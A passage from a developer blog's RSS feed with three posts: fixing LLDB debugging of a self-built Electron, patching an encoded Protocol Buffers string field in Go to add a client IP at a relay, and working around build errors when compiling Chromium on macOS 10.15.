&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/run-debug-config.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you want to open your own app with the Electron you built, add the app path in &lt;code&gt;Program arguments&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Also add &lt;code&gt;CHROMIUM_LLDBINIT_SOURCED=1&lt;/code&gt;, otherwise you cannot debug Chromium source.&lt;/p&gt;
&lt;p&gt;After that, one more setting is required, otherwise debugging still will not work:&lt;/p&gt;
&lt;p&gt;Create &lt;code&gt;~/.lldbinit&lt;/code&gt; with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;script sys.path[:0] = [&apos;/Users/black-hole/Code/Github/electron/src/tools/lldb&apos;]
script import lldbinit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace the path with your own.&lt;/p&gt;
&lt;p&gt;The official docs mention this too, but if you follow their &lt;code&gt;command script import ~/electron/src/tools/lldb/lldbinit.py&lt;/code&gt;, it will not work. I don’t know why.&lt;/p&gt;
&lt;p&gt;The new &lt;code&gt;~/.lldbinit&lt;/code&gt; format is based on Chromium’s.&lt;/p&gt;
&lt;p&gt;Then breakpoints work, as shown:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/lldb-variables-working.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Issues {#issues}&lt;/h2&gt;
&lt;h3&gt;Setting macOS SDK {#set-macos-sdk}&lt;/h3&gt;
&lt;p&gt;Per Electron’s official docs, it is best to use &lt;code&gt;MacOSX11.0.sdk&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Download &lt;code&gt;MacOSX11.0.sdk&lt;/code&gt; from &lt;a href=&quot;https://github.com/phracker/MacOSX-SDKs&quot;&gt;MacOSX-SDKs&lt;/a&gt; into &lt;code&gt;/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;That is all.&lt;/p&gt;
&lt;h3&gt;Dugite download failure workaround {#dugite-solution}&lt;/h3&gt;
&lt;p&gt;When you run &lt;code&gt;gclient sync -f&lt;/code&gt; to sync, you may hit:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;error /Users/black-hole/Code/Github/electron/src/electron/node_modules/dugite: Command failed.
Exit code: 1
Command: node ./script/download-git.js
Arguments:
Directory: /Users/black-hole/Code/Github/electron/src/electron/node_modules/dugite
Output:
Downloading Git from: https://github.com/desktop/dugite-native/releases/download/v2.29.3-2/dugite-native-v2.29.3-3d467be-macOS-x64.tar.gz
Error raised while downloading https://github.com/desktop/dugite-native/releases/download/v2.29.3-2/dugite-native-v2.29.3-3d467be-macOS-x64.tar.gz GotError [RequestError]: Client network socket disconnected before secure TLS connection was established
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/dugite-download-error.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The reason is that &lt;code&gt;dugite&lt;/code&gt; does not pick up your machine’s proxy when it downloads the binary. You can download it in a browser, then start an &lt;em&gt;http&lt;/em&gt; server with &lt;code&gt;python -m SimpleHTTPServer&lt;/code&gt;, like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/simplehttpserver-serving.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then edit &lt;code&gt;src/electron/node_modules/dugite/script/embedded-git.json&lt;/code&gt; to:&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/build-and-debug-electron-code/#user-content-fn-embedded-git-os&quot; id=&quot;user-content-fnref-embedded-git-os&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/build-and-debug-electron-code/embedded-git-json.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd src/electron/node_modules/dugite
node ./script/download-git.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that, run &lt;code&gt;gclient sync -f&lt;/code&gt; again and it should succeed.&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-embedded-git-os&quot;&gt;
&lt;p&gt;The field you change depends on the OS. Edit the entry that matches your system. &lt;a href=&quot;https://bugs.cc/posts/build-and-debug-electron-code/#user-content-fnref-embedded-git-os&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>electron</category><category>lldb</category><category>clion</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Dynamically modifying a Protocol Buffers string message</title><link>https://bugs.cc/posts/dynamically-modify-the-string-message-of-protocol-buffers/</link><guid isPermaLink="true">https://bugs.cc/posts/dynamically-modify-the-string-message-of-protocol-buffers/</guid><description>Dynamically modifying an already-encoded pb message</description><pubDate>Thu, 27 May 2021 08:02:30 GMT</pubDate><content:encoded>&lt;h2&gt;Preface&lt;/h2&gt;
&lt;p&gt;Requirements changed: we had to move logs that used to go to &lt;em&gt;Alibaba Cloud&lt;/em&gt; onto our internal log platform, which speaks &lt;code&gt;Protocol Buffers&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Because reporting used to live on &lt;em&gt;Alibaba Cloud&lt;/em&gt;, we let &lt;code&gt;logtail&lt;/code&gt; record the user’s request &lt;em&gt;IP&lt;/em&gt; for us.&lt;/p&gt;
&lt;p&gt;The internal platform’s &lt;code&gt;RESTful&lt;/code&gt; API is only a forwarder: the frontend encodes with &lt;em&gt;pb&lt;/em&gt; -&amp;gt; sends to the &lt;code&gt;RESTful&lt;/code&gt; API -&amp;gt; the server forwards over UDP to the &lt;em&gt;data platform&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;So the user’s request &lt;em&gt;IP&lt;/em&gt; has to be recorded by that &lt;code&gt;RESTful&lt;/code&gt; relay. The problem is the relay is a generic service: it does not turn &lt;em&gt;json&lt;/em&gt; into &lt;em&gt;pb&lt;/em&gt;. The frontend has to do that. Once the frontend has encoded the log, the relay cannot change it.&lt;/p&gt;
&lt;p&gt;That makes it hard for the relay to add an &lt;em&gt;IP&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;After thinking it through, three options:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The frontend fetches the &lt;em&gt;IP&lt;/em&gt; by requesting a third-party resource&lt;/li&gt;
&lt;li&gt;The relay does the encoding&lt;/li&gt;
&lt;li&gt;The relay patches the pb message&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The first was ruled out immediately: CDN and other issues, too many things we don’t control&lt;/p&gt;
&lt;p&gt;The second isn’t great either. As I said, this is a generic service. If we encode here, every pb payload would have to be encoded on the relay later, and it would be slow&lt;/p&gt;
&lt;p&gt;So we have to go with the third option.&lt;/p&gt;
&lt;h2&gt;Notes on string encoding&lt;/h2&gt;
&lt;p&gt;Before we fix it, one thing has to be true: the &lt;em&gt;IP&lt;/em&gt; is a string. So we need to know how &lt;code&gt;Protocol Buffers&lt;/code&gt; encodes a &lt;em&gt;string message&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I’ll cite a third-party write-up: &lt;a href=&quot;https://halfrost.com/protobuf_encode/#toc-22&quot;&gt;Protocol Buffer encoding: strings&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For easier reading, here’s a screenshot of the relevant part:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/dynamically-modify-the-string-message-of-protocol-buffers/protobuf-string-encoding.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Implementation&lt;/h2&gt;
&lt;p&gt;Now that we know how it’s encoded, we can patch the bytes.&lt;/p&gt;
&lt;p&gt;Here’s the original JSON:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;level&quot;: &quot;info&quot;,
  &quot;message&quot;: &quot;test&quot;,
  &quot;lts&quot;: 1622078077630,
  &quot;clientIP&quot;: &quot;__inject-ip__&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Protocol Buffers&lt;/code&gt; schema:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-proto&quot;&gt;syntax = &quot;proto3&quot;;

message Log {
    int64 lts = 1; // timestamp
    string level = 2; // log level
    string message = 3; // main log message
    string clientIP = 4; // IP
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;__inject-ip__&lt;/code&gt; is a placeholder that tells the relay what to patch.&lt;/p&gt;
&lt;p&gt;After &lt;code&gt;Protocol Buffers&lt;/code&gt; encoding, that &lt;em&gt;JSON&lt;/em&gt; object becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;08 be f5 8c db 9a 2f 22 04 69 6e 66 6f 2a 04 74 65 73 74 3a 0d 5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f&lt;/code&gt; is the hex encoding of &lt;code&gt;__inject-ip__&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Per that article, the &lt;code&gt;3a 0d&lt;/code&gt; in front is required &lt;code&gt;Protocol Buffers&lt;/code&gt; metadata&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;3a&lt;/em&gt; is the field type and ID&lt;/li&gt;
&lt;li&gt;&lt;em&gt;0d&lt;/em&gt; is the value length&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So we only need to care about &lt;code&gt;0d&lt;/code&gt; and &lt;code&gt;5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Suppose the relay sees the user’s IP as &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Then we should change &lt;code&gt;0d&lt;/code&gt; to &lt;code&gt;hexadecimal(len(127.0.0.1))&lt;/code&gt;, and change &lt;code&gt;5f 5f 69 6e 6a 65 63 74 2d 69 70 5f 5f&lt;/code&gt; to &lt;code&gt;hexadecimal(127.0.0.1)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;With the mechanics clear, we can write it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import (
	&quot;encoding/base64&quot;
	&quot;encoding/hex&quot;
	&quot;fmt&quot;
	&quot;strings&quot;
)

func main() {
	// base64 representation of the pb Buffer (byte =&amp;gt; base64)
	payloadBase64 := &quot;CMK+w7XCjMObwpovIgRpbmZvKgR0ZXN0Og1fX2luamVjdC1pcF9f&quot;

	// decode base64
	payload, err := base64.StdEncoding.DecodeString(payloadBase64); if err != nil {
		panic(err)
	}

	// string to hex
	// 08C2BEC3B5C28CC39BC29A2F2204696E666F2A04746573743A0D5F5F696E6A6563742D69705F5F
	payloadBinaryStr := fmt.Sprintf(&quot;%X&quot;, payload)

	// hex of the __inject-ip__ placeholder
	ipPlaceholder := &quot;5F5F696E6A6563742D69705F5F&quot;

	// index where the placeholder appears
	placeholderIndex := strings.Index(payloadBinaryStr, ipPlaceholder)

	// the user&apos;s IP
	clientIP := &quot;127.0.0.1&quot;

	// hex of clientIP
	clientIPBinaryStr := fmt.Sprintf(&quot;%X&quot;, clientIP)

	// length of the IP (in hex), used to modify the length of clientIP in the pb
	// because the max length of an IP address is 15 (255.255.255.255), which is no more than 255, we can guarantee clientIPLen is always 2 hex digits (i.e. one byte)
    // %02 also ensures that if there are fewer than 2 digits, it is left-padded with a zero
	clientIPLen := fmt.Sprintf(&quot;%02X&quot;, len(clientIP))

	payloadBinaryStrPrefix := payloadBinaryStr[:placeholderIndex - 2]
	payloadBinaryStrSuffix := payloadBinaryStr[placeholderIndex + len(ipPlaceholder):]
	payloadBinaryStrNewContent := clientIPLen + clientIPBinaryStr

	// 08C2BEC3B5C28CC39BC29A2F2204696E666F2A04746573743A093132372E302E302E31
	// as you can see, the previous 0D has now been replaced with 09
	payloadBinaryStr = payloadBinaryStrPrefix + payloadBinaryStrNewContent + payloadBinaryStrSuffix

	payloadBinaryByte, err := hex.DecodeString(payloadBinaryStr); if err != nil {
		panic(err)
	}

	newPayloadBase64 := base64.StdEncoding.EncodeToString(payloadBinaryByte)

    // CMK+w7XCjMObwpovIgRpbmZvKgR0ZXN0OgkxMjcuMC4wLjE=
	fmt.Println(newPayloadBase64)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then I changed the original JSON, replaced &lt;code&gt;__inject-ip__&lt;/code&gt; with &lt;code&gt;127.0.0.1&lt;/code&gt;, encoded it with &lt;code&gt;Protocol Buffers&lt;/code&gt; again, and the result was identical. So this works.&lt;/p&gt;
</content:encoded><category>protobuf</category><category>golang</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Download and build Chromium on macOS 10.15</title><link>https://bugs.cc/posts/macos-10.15-download-and-build-chromium/</link><guid isPermaLink="true">https://bugs.cc/posts/macos-10.15-download-and-build-chromium/</guid><description>Notes on downloading and building Chromium on macOS 10.15</description><pubDate>Tue, 31 Mar 2020 07:50:24 GMT</pubDate><content:encoded>&lt;h2&gt;Download&lt;/h2&gt;
&lt;p&gt;To download the Chromium source, see &lt;a href=&quot;https://chromium.googlesource.com/chromium/src/+/master/docs/mac_build_instructions.md&quot;&gt;Checking out and building Chromium for Mac&lt;/a&gt;. Following the docs as-is, though, makes it very hard to actually get the tree down.&lt;/p&gt;
&lt;p&gt;Some people suggest cloning via Gitee in China, but Gitee no longer supports a single repo this large (even the enterprise plan cannot handle a project of this size). Chromium with no history already needs 16G.&lt;/p&gt;
&lt;p&gt;After some trial and error, &lt;code&gt;fetch --nohooks --no-history chromium&lt;/code&gt; is much more likely to succeed. After it finishes, run &lt;code&gt;gclient sync&lt;/code&gt; to run the hooks. If you still need history, run &lt;code&gt;git fetch --unshallow&lt;/code&gt;, which should give you the same result as &lt;code&gt;fetch chromium&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;One thing worth noting: &lt;code&gt;git fetch --unshallow&lt;/code&gt; is also very slow. There are hundreds of thousands of commits, so this comes down to luck. If it fails, run &lt;code&gt;git gc --prune=now&lt;/code&gt; first, then retry &lt;code&gt;git fetch --unshallow&lt;/code&gt;, otherwise the repo just keeps growing.&lt;/p&gt;
&lt;p&gt;These steps took me 5 days and used 180G of VPN traffic.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/macos-10.15-download-and-build-chromium/#user-content-fn-update-code&quot; id=&quot;user-content-fnref-update-code&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2&gt;Build&lt;/h2&gt;
&lt;p&gt;My machine at the time:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OSVersion: macOS Catalina 10.15.3&lt;/li&gt;
&lt;li&gt;CPU: 2.4 GHz 8-core Intel Core i9&lt;/li&gt;
&lt;li&gt;Memory: 32 GB 2667 MHz DDR4&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The official docs: &lt;a href=&quot;https://chromium.googlesource.com/chromium/src/+/master/docs/mac_build_instructions.md&quot;&gt;Checking out and building Chromium for Mac&lt;/a&gt; mention that you need the OS X 10.15 SDK. My system is 10.15.3, so I already have that SDK. I ran &lt;code&gt;gn gen out/Debug&lt;/code&gt; to generate the build directory, and it errored…&lt;/p&gt;
&lt;p&gt;The error:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;********************************************************************************
 WARNING: The NaCL SDK is 32-bit only. macOS 10.15+ removed support for 32-bit
          executables. To fix, set enable_nacl=false in args.gn, or downgrade to
          macOS 10.14. For more information, see https://crbug.com/1049832.
********************************************************************************
ERROR at //components/nacl/features.gni:40:3: Assertion failed.
  assert(false, &quot;NaCL SDK is incompatible with host macOS version&quot;)
  ^-----
NaCL SDK is incompatible with host macOS version
See //BUILD.gn:18:1: whence it was imported.
import(&quot;//components/nacl/features.gni&quot;)
^--------------------------------------
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;NaCL is 32-bit, and macOS 10.15+ dropped 32-bit support. The message links to more info. Opening that link showed permission denied, so I could not read it…&lt;/p&gt;
&lt;p&gt;The message says you only need to add &lt;code&gt;enable_nacl=false&lt;/code&gt; in &lt;code&gt;args.gn&lt;/code&gt;, but &lt;code&gt;args.gn&lt;/code&gt; only exists after &lt;code&gt;gn gen out/Debug&lt;/code&gt;. At first glance that looks like a deadlock. After looking around, &lt;code&gt;gn gen&lt;/code&gt; can take args. Changing the command to &lt;code&gt;gn gen out/Debug --args=&quot;enable_nacl=false&quot;&lt;/code&gt; generates the build directory.&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/posts/macos-10.15-download-and-build-chromium/#user-content-fn-enable-nacl&quot; id=&quot;user-content-fnref-enable-nacl&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;After generating the build directory, &lt;code&gt;out/Debug/args.gn&lt;/code&gt; contains:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;enable_nacl = false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You also need to add:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;# enable debug
is_debug = true
# build as a shared/dynamic library
is_component_build = true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you then run &lt;code&gt;autoninja -C out/Debug chrome&lt;/code&gt;, after half an hour or so it fails and cannot continue:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;ninja: Entering directory `./out/Debug&apos;
[1/1] Regenerating ninja files
[18588/41244] OBJCXX obj/components/viz/common/metal_context_provider/metal_api_proxy.o
FAILED: obj/components/viz/common/metal_context_provider/metal_api_proxy.o
../../third_party/llvm-build/Release+Asserts/bin/clang++ -MMD -MF obj/components/viz/common/metal_context_provider/metal_api_proxy.o.d -DVIZ_METAL_CONTEXT_PROVIDER_IMPLEMENTATION -D_LIBCPP_HAS_NO_ALIGNED_ALLOCATION -DCR_XCODE_VERSION=1140 -DCR_CLANG_REVISION=\&quot;n345938-a1762f9c-1\&quot; -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -DCOMPONENT_BUILD -D_LIBCPP_ENABLE_NODISCARD -D_LIBCPP_DEBUG=0 -DCR_LIBCXX_REVISION=375504 -D__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0 -D_DEBUG -DDYNAMIC_ANNOTATIONS_ENABLED=1 -DWEBP_EXTERN=extern -DUSE_EGL -DSK_CODEC_DECODES_PNG -DSK_CODEC_DECODES_WEBP -DSK_ENCODE_PNG -DSK_ENCODE_WEBP -DSK_USER_CONFIG_HEADER=\&quot;../../skia/config/SkUserConfig.h\&quot; -DSK_GL -DSK_CODEC_DECODES_JPEG -DSK_ENCODE_JPEG -DSK_USE_LIBGIFCODEC -DSKIA_DLL -DSKCMS_API=__attribute__\(\(visibility\(\&quot;default\&quot;\)\)\) -DSK_SUPPORT_GPU=1 -DSK_GPU_WORKAROUNDS_HEADER=\&quot;gpu/config/gpu_driver_bug_workaround_autogen.h\&quot; -DSK_BUILD_FOR_MAC -DSK_METAL -DBORINGSSL_SHARED_LIBRARY -DU_USING_ICU_NAMESPACE=0 -DU_ENABLE_DYLOAD=0 -DUSE_CHROMIUM_ICU=1 -DU_ENABLE_TRACING=1 -DU_ENABLE_RESOURCE_TRACING=0 -DICU_UTIL_DATA_IMPL=ICU_UTIL_DATA_FILE -DUCHAR_TYPE=uint16_t -DGOOGLE_PROTOBUF_NO_RTTI -DGOOGLE_PROTOBUF_NO_STATIC_INITIALIZER -DHAVE_PTHREAD -DPROTOBUF_USE_DLLS -I../.. -Igen -I../../third_party/libwebp/src -I../../third_party/khronos -I../../gpu -I../../third_party/perfetto/include -Igen/third_party/perfetto/build_config -Igen/third_party/perfetto -I../../third_party/skia -I../../third_party/libgifcodec -I../../third_party/boringssl/src/include -I../../third_party/icu/source/common -I../../third_party/icu/source/i18n -I../../third_party/ced/src -I../../third_party/protobuf/src -I../../third_party/protobuf/src -Igen/protoc_out -I../../third_party/mesa_headers  -fno-strict-aliasing -fstack-protector-strong -fcolor-diagnostics -fmerge-all-constants -fcrash-diagnostics-dir=../../tools/clang/crashreports -Xclang -mllvm -Xclang -instcombine-lower-dbg-declare=0 -fcomplete-member-pointers -arch x86_64 -Wno-builtin-macro-redefined -D__DATE__= -D__TIME__= -D__TIMESTAMP__= -Xclang -fdebug-compilation-dir -Xclang . -no-canonical-prefixes -Wall -Werror -Wextra -Wimplicit-fallthrough -Wunreachable-code -Wthread-safety -Wextra-semi -Wunguarded-availability -Wno-missing-field-initializers -Wno-unused-parameter -Wno-c++11-narrowing -Wno-unneeded-internal-declaration -Wno-undefined-var-template -Wno-ignored-pragma-optimize -Wno-implicit-int-float-conversion -Wno-final-dtor-non-final-class -Wno-builtin-assume-aligned-alignment -Wno-deprecated-copy -Wno-non-c-typedef-for-linkage -Wno-pointer-to-int-cast -O0 -fno-omit-frame-pointer -gdwarf-4 -g2 -Xclang -debug-info-kind=constructor -isysroot ../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk -mmacosx-version-min=10.10.0 -ftrivial-auto-var-init=pattern -fvisibility=hidden -Xclang -add-plugin -Xclang find-bad-constructs -Wheader-hygiene -Wstring-conversion -Wtautological-overlap-compare -Wno-shorten-64-to-32 -Wno-undefined-bool-conversion -Wno-tautological-undefined-compare -std=c++14 -stdlib=libc++ -fobjc-call-cxx-cdtors -Wobjc-missing-property-synthesis -fno-exceptions -fno-rtti -nostdinc++ -isystem../../buildtools/third_party/libc++/trunk/include -isystem../../buildtools/third_party/libc++abi/trunk/include -fvisibility-inlines-hidden -include obj/components/viz/common/metal_context_provider/precompile.h-mm -c ../../components/viz/common/gpu/metal_api_proxy.mm -o obj/components/viz/common/metal_context_provider/metal_api_proxy.o
../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method &apos;supportsRasterizationRateMapWithLayerCount:&apos; in protocol &apos;MTLDevice&apos; not implemented [-Werror,-Wprotocol]
@implementation MTLDeviceProxy
                ^
../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:727:1: note: method &apos;supportsRasterizationRateMapWithLayerCount:&apos; declared here
-(BOOL)supportsRasterizationRateMapWithLayerCount:(NSUInteger)layerCount API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4));
^
../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method &apos;newRasterizationRateMapWithDescriptor:&apos; in protocol &apos;MTLDevice&apos; not implemented [-Werror,-Wprotocol]
@implementation MTLDeviceProxy
                ^
../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:735:1: note: method &apos;newRasterizationRateMapWithDescriptor:&apos; declared here
-(nullable id&amp;lt;MTLRasterizationRateMap&amp;gt;)newRasterizationRateMapWithDescriptor:(MTLRasterizationRateMapDescriptor*)descriptor API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4));
^
../../components/viz/common/gpu/metal_api_proxy.mm:224:17: error: method &apos;supportsVertexAmplificationCount:&apos; in protocol &apos;MTLDevice&apos; not implemented [-Werror,-Wprotocol]
@implementation MTLDeviceProxy
                ^
../../../../../../../../Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk/System/Library/Frameworks/Metal.framework/Headers/MTLDevice.h:831:1: note: method &apos;supportsVertexAmplificationCount:&apos; declared here
- (BOOL)supportsVertexAmplificationCount:(NSUInteger)count API_AVAILABLE(macos(10.15.4), ios(13.0), macCatalyst(13.4));
^
3 errors generated.
[18605/41244] CXX obj/components/viz/service/main/main/viz_compositor_thread_runner_impl.o
ninja: build stopped: subcommand failed.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I searched the Chromium forum. Someone said using the macOS 10.14 SDK would fix it. I found &lt;a href=&quot;https://github.com/phracker/MacOSX-SDKs&quot;&gt;MacOSX-SDKs&lt;/a&gt; on GitHub, cloned it, and ran &lt;code&gt;ln -s /Users/black-hole/Code/Github/MacOSX-SDKs/MacOSX10.14.sdk /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Rebuild still failed. The error looked the same. The details still mentioned &lt;code&gt;MacOSX10.15.sdk&lt;/code&gt;, so the build was not picking up the 10.14 SDK.&lt;/p&gt;
&lt;p&gt;Looking through the code, &lt;code&gt;build/config/mac/mac_sdk.gni&lt;/code&gt; defines:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;# Path to a specific version of the Mac SDK, not including a slash at the end.
# If empty, the path to the lowest version greater than or equal to
# mac_sdk_min is used.
mac_sdk_path = &quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After finding that, I added &lt;code&gt;mac_sdk_path = &quot;/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk&quot;&lt;/code&gt; to &lt;code&gt;args.gn&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It still failed, and I could not find this error on the Chromium forum.&lt;/p&gt;
&lt;p&gt;I searched the Chromium forum again and found &lt;a href=&quot;https://monorail-prod.appspot.com/p/chromium/issues/detail?id=973128#c10&quot;&gt;macOS: build with 10.15 SDK + toolchain&lt;/a&gt;. Someone there provided a patch.&lt;/p&gt;
&lt;p&gt;The patch was from October 2019. Trying it produced conflicts:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;$ git apply --check ~/Downloads/compilation_10_15_wip.patch

error: failed to apply patch: build/config/mac/BUILD.gn:77
error: build/config/mac/BUILD.gn: patch not applied
error: failed to apply patch: components/viz/common/gpu/metal_api_proxy.mm:573
error: components/viz/common/gpu/metal_api_proxy.mm: patch not applied
error: failed to apply patch: services/device/geolocation/wifi_data_provider_mac.mm:21
error: services/device/geolocation/wifi_data_provider_mac.mm: patch not applied
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I looked at the patch and only took the &lt;code&gt;BUILD.gn&lt;/code&gt; change. In &lt;code&gt;build/config/mac/BUILD.gn&lt;/code&gt;, find &lt;code&gt;defines = [ &quot;__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0&quot; ]&lt;/code&gt; and change it to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;defines = [
  &quot;__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0&quot;,
  &quot;OBJC_OLD_DISPATCH_PROTOTYPES=1&quot;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also drop the &lt;code&gt;mac_sdk_path&lt;/code&gt; arg, and the build completes.&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-update-code&quot;&gt;
&lt;p&gt;To pull the latest code later, run &lt;code&gt;git rebase-update &amp;amp;&amp;amp; gclient sync&lt;/code&gt;. &lt;a href=&quot;https://bugs.cc/posts/macos-10.15-download-and-build-chromium/#user-content-fnref-update-code&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-enable-nacl&quot;&gt;
&lt;p&gt;This flag is rarely used. It lets the browser run native machine code. Google said in 2018 Q1 that this technology would be deprecated for everything except Chrome OS (Chrome Apps), and that future work would focus on WebAssembly. Details: &lt;a href=&quot;https://developer.chrome.com/native-client/migration&quot;&gt;WebAssembly Migration Guide&lt;/a&gt; &lt;a href=&quot;https://bugs.cc/posts/macos-10.15-download-and-build-chromium/#user-content-fnref-enable-nacl&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
